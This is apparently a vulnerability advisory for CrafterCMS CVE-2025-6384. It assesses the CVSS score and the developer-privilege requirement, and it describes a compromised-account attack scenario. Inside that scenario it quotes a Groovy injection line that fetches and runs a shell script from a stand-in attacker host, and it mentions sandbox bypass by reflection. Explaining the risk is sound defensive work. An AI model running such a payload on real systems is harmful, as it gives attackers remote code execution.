Craftercms CVE-2025-6384

The CVSS 9.1 score (High severity) is justified by multiple factors: (1) Network-accessible attack vector (AV:N) with low attack complexity (AC:L), (2) High-privilege requirement (PR:H) substantially reduces real-world risk by limiting exploitation to authenticated developers, (3) High impact across all three CIA triad dimensions with system-wide scope (S:C). Risk signals analysis: The high CVSS reflects true technical severity once an attacker has developer credentials. However, the PR:H (High Privilege Required) constraint significantly narrows the threat actor pool to compromised developer accounts or malicious insiders. Without public KEV status confirmation or disclosed POC availability in standard databases, real-world exploitation likelihood appears moderate rather than critical. The vulnerability requires either credential compromise of a developer account or insider threat—both lower-probability scenarios than unauthenticated attacks. SSVC assessment suggests this is automatable once access is obtained, with technical impact rated catastrophic (RCE), but exploitation is constrained by the authentication barrier. Priority should be high for organizations with CrafterCMS deployments, but not crisis-level unless developer account compromise is suspected.

A threat actor compromises a junior developer's CrafterCMS credentials through credential stuffing or phishing. The attacker logs into Crafter Studio with legitimate developer privileges and navigates to the dynamic code resource management section. They inject malicious Groovy code such as: java.lang.Runtime.getRuntime().exec('bash -c "curl http://attacker.com/shell.sh | bash"') or use reflection to bypass sandbox restrictions on dangerous classes. The malicious code executes with the privileges of the CrafterCMS application server (often running as a service account with broad system access). The attacker gains remote code execution, establishes persistence, and pivots to compromise the underlying server and potentially adjacent systems. This scenario is realistic because: (1) developer credentials are a common phishing target, (2) developer accounts are often granted trust and broad permissions, (3) the attack requires no external exploitation, (4) detection is difficult without specific audit logging for Groovy execution patterns. No public POC is required—the vulnerability is straightforward to exploit once insider/compromised-account access is obtained.